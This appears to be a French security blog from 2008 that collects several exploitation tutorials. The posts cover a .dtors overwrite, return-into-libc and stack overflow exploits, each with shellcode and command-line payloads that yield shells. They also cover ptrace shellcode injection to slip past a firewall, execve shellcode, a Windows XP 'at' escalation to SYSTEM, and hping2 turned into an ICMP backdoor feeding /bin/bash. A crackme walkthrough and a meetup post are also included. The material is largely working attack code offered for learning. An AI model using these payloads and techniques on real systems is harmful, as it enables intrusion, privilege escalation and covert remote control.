(gdb) p & buf
$1 = ( *) 0x8049560

--------------------------
Adresse de la section Dtors:

(gdb) mai i section
Exec file:
`/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu',
file type elf32-i386.

.....
0x08049444->0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804944c->0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS
.....
0x08049660->0x08049664 at 0x00000660: .bss ALLOC
.....

-------------------------

(gdb) x/2 0x0804944c
0x804944c <__dtor_list__>: 0xffffffff 0x00000000

Ça rappelle pas un truc ça ...?
Revoila notre Section Dtors bien vide comme vu précédemment.
-------------------------

(gdb) p (0x804944c+4) - 0x8049560
$2 = 272
<----------------------------------
Nous avons donc nombre d’octets
depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
informations pour exploiter notre programme.

On utilisera ici un shellcode de 18 Octets soit le calcul suivant :
272-18=254

Buffer :0x8049560
donc en little endian :
\x60\x95\x04\x08
Reste plus qu'a rassembler les infos pour créer notre exploit :

[kmkz@localhost Data_overflow]$ ./vuvu `printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
sh-3.2$
On vois ici l'un des avantages de cette méthode : Nous n'avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire "readable" (ce qui n'est pas toujour le cas .
Parcontre , du coup , pour que Notre shellcode s'exécute il nous faudra attendre la fin du programme (appel a exit() donc au destructeur ) contrairement a une exploitation qui se déroulerait sur la pile .
Et , rappellez-vous au sujet des Ctors et Dtors : ce sont deux attributs du
compilateurs gcc comme on l'a dit plus haut .
En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !
Voila , reste plus qu'a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .
A trés bientot pour de nouvelles aventures :'-) .
---------------------------------->
Programme vulnérable

Proof of concept (pl)

Et comme l'été on s'ennui :

Proof of concept (c)

<---------------------------------- See you .... o/

Principes et mise en oeuvre d'un injection de code dans un processus en cours via le syscall PTRACE()

2008-07-20T10:27:00.000+02:00

Yop all o/ !
Comme vous l'aurez sans doute compris dans le titre , cet article va traiter (pas trés original comme sujet j'en conviens) des injections de Shellcode dans un processus actif grace au syscall Ptrace() .

Commençons donc par une petite explication et mise en situation :

<--------------------------------------------->
Avant tout un petit mot sur l'environnement de test utilisé ici :
# uname -a
Linux localhost 2.6.22.19-desktop-2mdv #1 SMP Mon May 5 20:55:05 EDT 2008 i686 Intel(R) Pentium(R) 4 CPU 2.93GHz GNU/Linux
Le tout sans aucune modifications ,attention toutefois car il est ici nécéssaire de posséder une pile exécutable ( on joue encore une fois avec la stack ) bien qu'en y réfléchissant longuement , il peu etre possible de l'adapté sur n'importe quel OS ( d'aprés ce que j'ai pu lire sur phrack ;-) ) .
<--------------------------------------------->
-Il faut savoir que ce type d'injection est souvent utilisée par les codes malveillants afin de contourner les sécuritées mise en place sur une machine .

exemple :
Imaginons un poste de travail "sécurisé " par un firewall personnel ; en général ces programmes ont pour but de filtrer/bloquer l'accés au net pour certaines applications.
Cependant , supposons que nous voulions compromettre cette machine et faire en sorte d'obtenir un accés sortant (on peu tout aussi bien vouloir faire autre chose , mais ceci est a titre d'exemple hein ;-) ) , dans ce cas comment vas-t-on s'y prendre ..?

Sachant qu'au minimum le navigateur doit posséder un accés sortant , nous allons donc injecter notre shellcode dans la mémoire utilisée par ce processus puis faire en sorte qu'il poursuive son activité , comme si de rien n'était .
De cette façon nous pouvons utiliser les droits du navigateur et,donc avoir un accés sortant sans etre inquiété !

Pour cela il sera donc nécessaire de ne pas tuer le processus en fesant donc en sorte qu'une fois le pointeur EIP pointe sur le shellcode , l'exécute puis se replace (POP / RET) de façon a reprendre l'exécution du processus cible.

Etapes a suivre :
1- S'attacher au processus ciblé (PTRACE_ATTACH)

2-Attendre qu'il stoppe (WAITPID)

3-Récupération des registres utilisés par ce process(PTRACE_GETREGS)

4-Copie du Shellcode dans la stack (PTRACE_POKEDATA)

5-Redirection du pointeur vers le début de nore Shellcode (PTRACE_SETREGS)

6-Se détacher (PTRACE_DETACH)

Néanmoins,, il se peut que le processus ait été interrompu par le ptrace (PTRACE_ATTACH) alors qu’il exécuté un appel système.
Dans ce cas, le noyau décide de remettre l’ex écution a l’endroit ou elle a été interrompue, c’est-a-dire l’appel système. Sous Linux pour x86, un appel système est déclenché́ par l’instruction int 0x80, codée sur 2 octets.
Avant de rendre la main au processus, le noyau modifie donc le registre eip, en lui enlevant 2 octets. Or, nous ne souhaitons pas que l’exé́cution reprenne la ou ne se trouve pas notre shellcode!
Pour compenser cela, on ajoutera 2 Nops (\x90) au début du shellcode (et on oublira pas de modifier la valeur dans la boucle au passage sinon elle n'enverra pas tout le shellcode ).

Voila, on peu désormais passer a la pratique .Dans un premier temps je détaillerais donc les différentes étapes , puis je vous donnerais le code "Shell_inj" (Shellcode injector quoi -_- ) .
(Ce code est déja suffisemment commenté pour vous permettre de le comprendre facilement)

-- Nous allons , dans l'exemple suivant , injecter un dangereux shellcode (Hello , world! :-) ) dans un processus cible (ici bash sera la cible) -

On commence par récupérer son PID:
[kmkz@localhost Bureau]$ ps aux
Ce qui donnera un listing assez long (top pour etre mis ici en entier en tout cas ) .
Nous , on s'intéressera donc a ça :
kmkz 7178 0.3 0.1 4324 1920 pts/0 Ss+ 10:58 0:00 bash
Bon , on a le PID reste plus qu'a s'amuser now ! \o/
Je suppose que vous savez déja utiliser Gcc et donc ne reviendrais pas la dessus ..
Lançons le programme Shell_inj en lui passant en argument notre PID et voyons ce qui se passe :

[kmkz@localhost Bureau]$ ./inj 7178
[+] Attente d'attachement au processus 7178 ...
[+] Attachement au processus : réussi
[+] Lecture des registres:
-eip: 0xffffe410
-esp: 0xbfe478d8
[+] Shellcode copié en esp:0xbfe468d8
[+] Redirection d'eip vers le shellcode :0xbfe468da
[+] Détachement du processus 7178

[+] Injection Terminée !
Hello,World !

Bingo, notre "hello world" est bien la , en chair et en os (enfin si on veux quoi ^_^).
C'est a vous de jouer maintenant : vous savez détourner un processus en y injectant un shellcode pour en faire ce que vous voulez alors ....
___
*Here's the Shell_inj source code:
Shell_inj.c

Have Fun !

Remerciements a l'équipe de "blacks clowns" pour son article sans lequel j'aurai mis des mois avant de percuter comment m'y prendre ^^ ainsi qu'a l'équipe de dg-sc pour phrack et ses tutos de 1er choix !

Return Into Libc

2008-07-11T15:16:00.000+02:00

Salut a tous !
Bon , je sais j'ai un peu mis ce blog de coté ces derniers temps , mais c'est fini , rassurez-vous ;) .
Pour fêter ça , je vous propose un article traitant des fameux "Returns-into-libc ".

Bref , stoppons les baratins inutiles et place a l'article \o/.

-----Voici les codes dont nous auront besoins :
vuln.c
var-env.c
-----

Je précise toutefois que cet article s'adresse aux personnes sachant au minimum
exploiter un classique stack overflow (Voir article prévu a cet effet sur ce blog)
et ,donc, connaissant le fonctionnement de la pile.

La méthode du "return-into-libc" consiste, non pas à exécuter un
shellcode, mais à détourner le programme en lui faisant exécuter du code qui
est bien souvent dans une librairie telle que la libc.

Les librairies sont chargées à des adresses prédictibles sur
les noyaux standards, on les retrouve donc facilement .

Rappelons-nous que la libc, contient toutes les fonctions utiles à
l'exécution d'un shell.

Il faut impérativement bien visualiser le schéma suivant :

1) Vous venez d'écraser EIP avec l'adresse de la fonction system() située dans l'espace mémoire du
processus vulnérable.

2) Le programme saute sur system().

3) La fonction system() va faire son prologue, sans erreurs. Par contre system() va vouloir aller chercher
le paramètre que vous lui avez passé, et forcément , s'attend pour cela à ce qu'il y ait
un argument sur la pile.

4) Cet argument sur la pile, c'est l'adresse de votre chaîne de caractère "/bin/sh".
Mais pour cela vous devrez le "déposer" sur la pile pour que system() le récupère.

System() va donc récupérer cette chaine juste après EIP .

-----------------------------------------------------------------------------------------------------------------------------------------
Cet test a été réalisé sur une GNU/Linux Free 2008 (version 2.6.22.9 du noyau Linux) tournant sur une machine ayant pour Processeur un Intel Pentium IIII.
Aucunes fonctionalités n'a été modifiés au préalable , nous sommes ici en présence d'une config systeme par défaut ; cela dit , il faut bien avoir a l'esprit que les adresses et PID changeront , ceci est tout a fait normal d'une machine a l'autre (cet article n'est ici que dans le but de vous aidez a comprendre et , le cas échéant , a reproduire ces étapes chez vous en prenant notes des indications données dans ce paragraphe ( ThX Decerebrain ;-) ).
-----------------------------------------------------------------------------------------------------------------------------------------

-------Testons ça concrètement ------

En premier lieu , compilons notre programme vulnérable:

gcc -o vuln vuln.c // Rappel

Dans un premier shell , lançons ce programme:

[kmkz@localhost Bureau]$ ./vuln [Argument]
pid = 8219

-- Dans un autre shell ,nous allons exporter "/bin/sh" (pour le placer dans le meme environnement).
Ensuite , nous devons récupéré l'adresse en mémoire de la nouvelle variable d'environnement .
Noue le feront grace a notre petit programme écrit en C ( code "var-env.c") :

[root@localhost Bureau]# export kmkz=/bin/bash
[root@localhost Bureau]# ./var-env kmkz
**/bin/bash se situe a l'adresse b 0xbffec808 ** // et voila le travail ;-) .

Maintenant , il ne reste qu'a exploiter on lance gdb et notre "vuln.c" :

[kmkz@localhost Bureau]$ gdb ./vuln 8219 // 8219 étant le PID
GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-linux-gnu"...
Using host libthread_db library "/lib/i686/libthread_db.so.1".
Attaching to program: /home/kmkz/Bureau/vuln, process 8219 // Notre PID ici aussi \o/
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0x080484c8 in main ()

--- Récupérons l'adresse de system() :
(gdb) x/x system
0x400608a0 : 0x83e58955

Et celle de exit() qui servira a quitté le programme "proprement":
(gdb) x/x exit
0x4004d0a0 : 0x57e58955

Waou ,c'est kewl ! :-)

Allez il ne nous reste plus qu'a convertir ça en Little Endian (voir selon les processeurs) et a construire notre Argument pour
l'obtention de notre Shell ce qui donne dans cet exemple :

"\xa0\x08\x06\x40" = system()
"\xa0\xd0\x04\x40" = exit()
"\x08\xc8\xfe\xbf" = notre shell

=> 1032 octets à écrire pour écraser entièrement EIP (1024 (buffer) + 4 + 4)
// Voir article sur les Stack Overflow
Nous devons donc passer l'argument de cette façon sur la ligne de commande :

[1028 octets] ["system()"] ["exit()] ["/bin/sh"]

Si tout se passe bien (et c'est le but ;) ), on doit obtenir ceci :

(gdb) r `perl -e 'print "x" x 1028 . "\xa0\x08\x06\x40"."\xa0\xd0\x04\x40"."\x08\xc8\xfe\xbf"'`
Starting program: /home/kmkz/Bureau/vuln `perl -e 'print "x" x 1028."\xa0\x08\x06\x40"."\xa0\xd0\x04\x40". "\x08\xc8\xfe\xbf"'`
sh-3.00$ <---- Notre Shell ^_^ -Remerciement a Marnage & 0vercl0k pour leur lumieres ;-) .

Initiation aux bases du Reversing

2008-04-26T11:37:00.000+02:00

Salut a tous !
Ce nouvel article traitera d'un sujet trés intéréssant : les bases en matiere de Reversing.
Nous verrons ici seulement le strict minimum , ce qui permettra tout de meme d'acquérir quelque notions en la matiere ,et qui pourrait ( on sais jamais ) susciter des vocations..?
Pour les besoins de cet article nous utiliseront un codes et un programmes de déboggage incontournable : GDB ( sous Linux) puis un crack-me appellé "cm"codé en C trouvé sur un célèbre site .
Le principe ne changeant pas , je n'ai pas trouvé d'intéret a en coder d'autre ( ba ouai quoi) .

Trève de bavardages place a l'article now :

Le Crack-me

1)Ici nous cherchons donc le password , bien , pour cela nous devons d'abord désassembler le "main" ( fonction pricipale du programme) afin d'y placer un "break point" ( point d'arret destiné a stopper le programme a l'endroit que l'on veut examiner , soit l'endroit ou le programme teste l'entrée utilisateur ou a la fin de celle ci selon la façon choisie) .
Commençons par lancer GDB avec "cm" puis désassemblons le "main" avec l'instruction " disas main" de Gdb.
Vous devriez avoir quelque chose comme ça :
[user@localhost asm]$ gdb cm
GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandriva-linux-gnu"...
Using host libthread_db library "/lib/i686/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 : lea 0x4(%esp),%ecx
0x080483a8 : and $0xfffffff0,%esp
0x080483ab : pushl 0xfffffffc(%ecx)
0x080483ae : push %ebp
0x080483af : mov %esp,%ebp
0x080483b1 : push %ecx
0x080483b2 : sub $0x24,%esp
0x080483b5 : mov %ecx,0xffffffe8(%ebp)
0x080483b8 : mov 0xffffffe8(%ebp),%eax
0x080483bb : cmpl $0x2,(%eax)
0x080483be : jne 0x8048426
0x080483c0 : mov 0xffffffe8(%ebp),%edx
0x080483c3 : mov 0x4(%edx),%eax
0x080483c6 : add $0x4,%eax
0x080483c9 : mov (%eax),%eax
0x080483cb : mov %eax,0x4(%esp)
0x080483cf : movl $0x8048500,(%esp)
0x080483d6 : call 0x80482f0
0x080483db : mov 0x8048552,%eax
0x080483e0 : mov 0x8048556,%edx
0x080483e6 : mov %eax,0xfffffff4(%ebp)
0x080483e9 : mov %edx,0xfffffff8(%ebp)
0x080483ec : mov 0xffffffe8(%ebp),%edx
0x080483ef : mov 0x4(%edx),%eax
0x080483f2 : add $0x4,%eax
0x080483f5 : mov (%eax),%edx
0x080483f7 : lea 0xfffffff4(%ebp),%eax
0x080483fa : mov %eax,0x4(%esp)
0x080483fe : mov %edx,(%esp)
0x08048401 : call 0x8048310
0x08048406 : test %eax,%eax
0x08048408 : jne 0x8048418
0x0804840a : movl $0x8048514,(%esp)
0x08048411 : call 0x8048300
0x08048416 : jmp 0x8048432
0x08048418 : movl $0x8048527,(%esp)
0x0804841f : call 0x8048300
0x08048424 : jmp 0x8048432
0x08048426 : movl $0x804853e,(%esp)
0x0804842d : call 0x8048300
0x08048432 : mov $0x0,%eax
0x08048437 : add $0x24,%esp
0x0804843a : pop %ecx
0x0804843b : pop %ebp
0x0804843c : lea 0xfffffffc(%ecx),%esp
0x0804843f : ret
End of assembler dump.

Ok , maintenant cherchons un peu ou se trouve l'endroit qui nous intéresse ....
Ici , j'ai personnellement choisi de placé mon Break Point a la fin de la condition c'est a dire juste avante le " Mauvais mot de passe " . ( façon certe inabituelle mais efficace tout de meme ,comme vous pourrez le constatez par la suite.
Pour le break point nous choisirons donc l'adresses 0x8048419 puisque :
0x08048408 : jne 0x8048418 ; saute a l'adresse main+116 si non égalité
Nous en déduisons donc que Main+116 se trouve entre l'instruction "else" et "printf("Mauvais mot de passe !\n");" car on y est renvoyé si il y a une inégalité.
Choisissons donc la l'adresse 0x8048419 soit main+117 de cette maniere :
(gdb) b *main+117
Breakpoint 1 at 0x8048419: file ./cm.c, line 15 ; message indiquant la création du break point
Ok , lançons donc le crack-me ("cm") en passant 40*a en argument puis observons ce qui se passe :
(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/kmkz/Bureau/asm/cm aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Vous avez ecrit aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGILL, Illegal instruction.
main (ac=2, av=0xbf90e174) at ./cm.c:15
15 printf("Mauvais mot de passe !\n");
Bon , nous avions vu juste , l'adresse pointait bel et bien sur la fin de la condition .Afin de le vérifié , utilisons la commande "list" de Gdb pour voir exatement ou le break point stoppe le programme :

(gdb) list
10 {
11 printf("Bon mot de passe !\n");
12 }
13 else
14 {
15 printf("Mauvais mot de passe !\n");
16 }
17 }
18 else
19 {
Tout va bien , on est sur la bonne voie \o/ .
C'est bien beau , mais le pass dans tout ça ? il est ou ?
Bah pour le trouver maintenant il nous faut l'adresse du pointeur ESP afin de voir ce qui s'y trouve , pour cela commençons par trouver l'adresse de nos 40*a passé en argument puis tentons de remonter a la pile :
(gdb) print av[1] ; nos "a" étant l'argument [1]
$1 = 0xbf910255 'a' repeats 40 times ; répétés 40 fois on est ok
Poursuivons par l'affichage de tout les argument passés au programme stockés dans "av" :
(gdb) print av
$2 = (char **) 0xbf90e174
Maintenant nous possédons l'adresse du tableau d'argument du programme "cm" , alons donc voir ce qu'il contient a partir de cette adresse mémoire....Bienvenu dans :"la Pile "!
Nous utilisons ici l'instruction x/16x afin d'afficher les 16*4 octets contenu dans la pile :
(gdb) x/16x 0xbf90e174
0xbf90e174: 0xbf91023c 0xbf910255 0x00000000 0xbf91027e

0xbf90e184: 0xbf910291 0xbf9102a6 0xbf9102b9 0xbf9102d0
0xbf90e194: 0xbf9102e3 0xbf9102fb 0xbf91030f 0xbf91031a
0xbf90e1a4: 0xbf91032a 0xbf910337 0xbf910388 0xbf910396
av étant le 1er et av[1] le 2eme de la ligne 1 et ceux la on les connait déja pas vrai ;
ceci dit de petites vérifications s'imposent :
(gdb) printf "%s", 0xbf91023c
/home/kmkz/Bureau/asm/cm(gdb) printf "%s", 0xbf910255 ; on obtient le chemin du programme cm
et :
(gdb) print "%s",0xbf910255
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$3 = 3213951573 ; ici c'est bien av[1] avec nos 40*a , no soucy

Il est temp pour nous de voir vers quelle adresse pointe ESP ( ESP pointe vers le sommet de la pile).
(gdb) print $esp
$4 = (void *) 0xbf90e0b0
Ici se trouve donc l'adresse du sommet de la pile allos dons y jeter un oeil ...
(gdb) x/16x $esp ; meme explications que tout a l'heure
0xbf90e0b0: 0xbf910255 0xbf90e0cc 0xbf90e0c8 0x080482bc

0xbf90e0c0: 0xbf90e0f0 0x08049640 0xbf90e0e8 0x666b646d
0xbf90e0d0: 0x0079766a 0xbf90e0f0 0xbf90e148 0xb7e93f90
0xbf90e0e0: 0xb7fe9cc0 0x08048450 0xbf90e148 0xb7e93f90
bon la on peu constater que l'on a :
l'adresse de la pile : 0xbf90e0c0
l'adresse de nos "a" (av[1]) :0xbf910255

Mais aussi une adresse que l'on avait pas encore vu jusqu'ici : 0xbf90e0cc

Testons donc 0xbf90e0cc afin de voir ce que cette adresse contient .
(gdb) printf "%s", 0xbf90e0cc
mdkfjvy(gdb)
Hey !! Mais qu'est-ce donc ..? Notre pass seait donc la ? ??
Et oui , en effet le pass est bel et bien mdkfjvy !

Voila , vous venez de voir les principes de base du Reversing , mais la route est encore longue alors courage et a bientot!

Win. XP (patched) Local Privilèges Escalation

2008-04-19T12:08:00.000+02:00

Salut a tous !
J'ai pas mal hésité , mais finalement je vais poster ce petit tuto trés basique portant sur une possibilité
d'élévation de privileges sous Windows.
(Ce tuto a été inspiré de plusieurs autres trouvé sur le net ).
Je précise aussi qu'il existe beaucoup d'autre façons de procéder afin d'élever ses privilèges ( boot sur live CD Linux pour récupérer le SAM ,injection de DLL et j'en passe ...) ; ceci dit , ce que je vais présenté ici ne requiert aucune connaissances spécifique et ne demande que trés peu de temp .

Pour ce faire nous devons :
-posséder un compte utilisateur avec un minimum de droit , si ce n'est pas le cas , rebootez donc en mode sans échec puis passé en mode Administrateur et enfin modifié vos droits d'utilisateur.

-vérifié que le service Planificateur des taches soit activé ( comande "at" ) nous allons y revenir dans la suite.

L'élévation de privileges :

Bon , tout est ok ? Alors let's go !
Ouvrez votre invite de commandes MS-DOS ( executer => cmd) .
Regarder l'heure affiché sur votre bureau ( exemple 10:00) et rentrez maintenant la commande :
at 10:02 /interactive "cmd.exe"

Une fois cette commande rentrée , vous devez obtenir quelque chose comme :
Tache ajoutée avec l'ID=1
Vous pouvez alors vérifier les infos en tapant "at" dans le shell .
Maintenant attendon qu'il soit 10:02 a votre bureau... A 10:02 le shell passera alors sur le compte System32 , gardez le shell ouvert puis réduisez la fenetre.
Bon , maintenant il suffi d'ouvrir le gestionnaire des tache et de fermé le processus "explorer.exe" ; une fois fait , retour sur notre invite de commande MS-DOS :
On rentre alors ( en tant que System32 ,bien entendu ) explorer.exe pour relancer le processus et réaffiché la barre des taches.
Voila , vous etes désormais sur le compte le plus élevé du systeme celui de System , qui se trouve au-dessus de celui d'admin car l'admin a certaines restrictions que System n'aura pas !

(ouvrez le menu Démarrer et regarder la session ,le nom System y aparaitra alors )

Création d'un meeting 2600 a Nimes (30)

2008-04-16T16:09:00.000+02:00

Salut a tous et a toutes !
Voila , suite a une discussion avec Decerebrain sur Irc , et étant donné que rien ne se fait vers chez moi , j'aimerai essayer de lancer un meeting sur la région de Nimes .

Je rappelle que les meeting du 2600 sont ouvert a TOUS et qu'aucun niveau de connaissances n'est requis .

L'objectif unique de ces rencontres étant le partage d'infos entre passionés d'informatique , de l'univers "underground " , la sécurité et les nouvelles technologies en général.

-Si certains d'entre vous sont intéréssés , conatctez-moi par mail ou laissez moi un commentaire afin de savoir qui serait éventuellement intéréssé , posez vos questions et fixer ce qui deviendrai le point de rendez-vous .

* Le jour de rendez-vous sera traditionnellement le 1er Vendredi de chaque mois , a partir de 17h .

Merci a tous .

site du 2600 Fr.

Local Stack Overflow Exploitation

2008-04-13T12:01:00.000+02:00

Comme promis précédemment, voici la suite de l'exploitation des Stack Overflow sous UNIX (en local).

Pour les besoins de cet article , un code vulnérable (vuln.c) ,ainsi que notre shellcode seront nécéssaires ( dans le cadre d'une exploitation réelle , veillez a ce que le programme ait bien le suid root . Vous verrez les programmes le possédant en tapant dans le terminal : "find / -type f -perm -04000 " ).

------ Progs. utiles :

Prog.Vulnérable
le shellcode en hexadécimal
Exemple de Proof Of Concept basé sur vuln.c

------

Dans ce code , la taille du Buffer est de 512 octets.
Les sauvegardes registres , elles , sont codées en 4 octets (registres de 32 Bits).
Les deux arguments de la fonction sont des adresses de buffer codées elles aussi a 4 octets.

On peu donc en déduire que si nous arrivons a écrire 4 octets supplémentaires sur la taille du buffer on écrasera alors les 4 octets d' EBP .
Et si on écrit 4 octets de plus on devrait arrivé a écraser EIP , ainsi , la valeur que l'on aura défini et qui écrasera EIP sera POP dans la pile et, donc lorsque le programme effectura un JUMP , il le fera sur cette valeur la .

Bon , maintenant , il faut tester le buffer afin de voir a quel moment nous écraserons suffisament la pile ( ne pas oublié: on doit écraser EIP de façon a ce que le programme pointe sur l'adresse exacte en mémoire du début de notre shellcode ,afin d'exécuter le code injecté) .

Testons :
(gdb) r `perl -e 'print "A" x512 . "AAAA" . "DCBA"' `
Résultat:

Program received signal SIGSEGV, Segmentation fault.
0x8048400 in main ()
(gdb)
# 1er test ici au départ 512 octets ce qui est insuffisant

(gdb) r `perl -e 'print "A" x514 . "AAAA" . "DCBA"' `
Résultat:

Program received signal SIGSEGV, Segmentation fault.
0x8004142 in ?? ()
(gdb)
# 2eme test on commence écraser EIP a 514 (0x08004142)

On en déduit donc qu'avec 2 octets de plus donc "A" x516 ( soit 4 au total) , on doit arriver a 0x41424344 soit DCBA , la représentation en hexadécimal de DCBA .

(gdb) r `perl -e 'print "A" x516 . "AAAA" . "DCBA"' `
Résultat:

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb)

Notre objectif , je le rappelle est de faire JUMPER le programme sur notre code ASM injecté en mémoire afin d'exécuter un /bin/sh .
Le meilleur moyen d'y parvenir est de placer le code arbitraire en argument de l'exécutable pour le placer dans le buffer qui subira le débordement de tampon.

On écrase donc EIP avec l'adresse du début du shellcode pour avoir un shell (/bin/sh) root .

Pour écraser EIP on envoi 516 octets +2 octets pour arriver au début de notre shellcode soit = "A" x518 , puis ABCD = total de 522 Octets.
Donc pour arriver avant EIP, il faut 518 octets car au-dela , nous l'écraseront.
En utilisera donc des NOP ( ne fait rien) jusqu'a ce que le shellcode soit exécuté.

=> Nous exécutons donc :

A x 154 + 340 NOP (0x90 ou \x90) + 24 octets du shellcode + octet pour EIP = 522 Octets .
On arrive alors a faire pointer ESP sur le début du shellcode a exécuter.

RAPPEL : l'écrasement d'un registre (EIP , EBP ..) se fait par groupe de 4 Octets .

On exécute le shellcode suivant :

(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "DCBA" '`

Puis , nous regardons ce qui se trouve dans EIP.
Nous choisissons une adresse se situant parmis les NOP
(par exemple : 0xbfa412f0)
Enfin , a la place de DCBA , on mettra: "\xf0\x12\xa4\xbf"

(ce qui par la suite deviendra: " \x08\xf3\xff\xbf")

Cet offset ajouter a notre Shelcode donnera donc :

(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "\x08\xf3\xff\xbf" ' `
sh-3.1#

Bingo ! Nous avons obtenu notre shell root alors que le programme lui , a été lancé en utilisateur .
Voila , nous désormais , nous en savons un peu plus sur les Stack Overflow .

Remerciments encore a FaSm pour son zine "Prog!" et ses tutos sur l'asm et les shellcodes .

Shellcode et Port Binder en ASM x86 (32 Bits )

2008-04-12T18:31:00.000+02:00

Voila , je débute dans l'Asm .
Je posterai ici mes avancées dans ce domaine passionant : celui du langage "machine" .

Voici un exploit utilisant la fonction Syscall Execve (), écrite ici en ASM ,et ayant pour Argument la chaine de caractère que l'on a défini au préalable (commande a exécuter ),ainsi que le caractère de fin de chaine : //bin/sh.
Code réalisé dans le cadre d'une exploitation de Stack Overflow sur systeme UNIX( explications et exploit complet a venir ).

Remerciement a FaSm pour ces tutoriaux de qualités sans qui , ce code ne serait certainement pas la.

Le code assembleur suivant permet l'ouverture d'un shell ( /bin/sh )

BITS 32
xor eax,eax
cdg
push eax
push long 0x68732f6e
push long 0x69622f2f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0x0b
int 0x80
Ce qui , une fois transformé en hexadécimal donnerait :
"\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89
\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80"
Soit un Shellcode en hexa de 24 octets .
Suite au fur et a mesure de mon avancement .

Autre exemple de code ASM trés utilisé :
un Port Binding Shell
Lui aussi est basé sur le Syscall execve() mais effectu une connexion via un port .
Il créé la Socket , écoute et accepte une connexion tout en lui offrant un /bin/sh .
Voir le code ici : Port-binding-shell
merci a tous !

Utilisations avancées de Hping2

2008-04-12T14:21:00.000+02:00

Salut a tous et a toutes !
Hping2 permet en effet de réaliser plusieurs choses intéréssantes comme l'envoi de paquets via les protocoles TCP,UDP ou ICMP en modifiant leurs entetes .
(exemple: HPING2 site.com -p 80 -a ip.a.utiliser.ici -S)

Bon , ça on le sais , pas de souci , on peu aussi scanner avec grace a la commande --scan ( HPING2 --scan 20-80 -S site.fr)ce qui renvoi les noms de services en écoute , les flags etc.. de cette maniere :
[user@localhost]# hping2 --scan 20-80 -S site.fr
Scanning site.fr (216.239.59.104), port 20-80
61 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+
|port| serv name | flags |ttl| id | win |
+----+-----------+---------+---+-----+-----+
Bon , c'est bien zoli ça mais quand tu parlais d'utilisations avancées tu parlais de ça .??

Mais non , rassurez-vous , ceci n'est qu'un rappel des bases de Hping.
Approfondissons maintenant :

-Hping permet également d'envoyer des paquets contenants des données via les protocoles choisis
par l'user.
Voici les fonctions le permettants :

UDP: -2
ICMP: -1
TCP : par défaut
Pour inclure les données a envoyer dans les paquets, on devra créer un fichier les contenants et utiliser la commande -E en indiquant le PATH du fichier.

(Exemple: HPING2 -1 site.fr -E /user/Desktop/test.txt -d 50 ) -d permet d'afficher la taille du fichier (en octets bien sur).

Hping2 permet aussi d'écouter des paquets contenant une signature (chaine de caracteres) sur une machine grace a l'instruction --listen signature -icmp (si on utilise ce protocole).

Bon , maintenant imaginez que cette fonction soit utilisée sur une machine autre que la votre en y ajoutant ceci : --listen signature -icmp | /bin/bash que ce passerai - t-il ?
Et bien Hping servira alors de troyen !

En effet , si on l'utilise de cette maniere , alors il se met en écoute de paquets ICMP et transmet alors les données reçues au programme /bin/bash et , donc aurait pour effet d'exécuter un Shell sur la machine distante .
Il suffit donc d'envoyer un paquet ICMP avec en données une commande Shell sans oublier la signature pour que la paquet soit identifiable,et ce de cette maniere :
HPING2 ici.ip.a.saisir -e signature -E path/du/fichier/de/donnée -d 50 -1.
Voila pour ce petit tuto sur les fonctions avancées de Hping2 .
a Bientot .

Au commencement ....

2008-04-12T13:26:00.000+02:00

Salut a tous !
Bon ,ben je me lance moi aussi dans la création de mon "repère"... ;)

Ici vous retrouverez mes papers et autres codes sources , qui vous permettrons de découvrir mes travaux et projets dans le domaine de la sécurité informatique .

J'espere apporter ici des infos qui vous seront utiles .

kmkz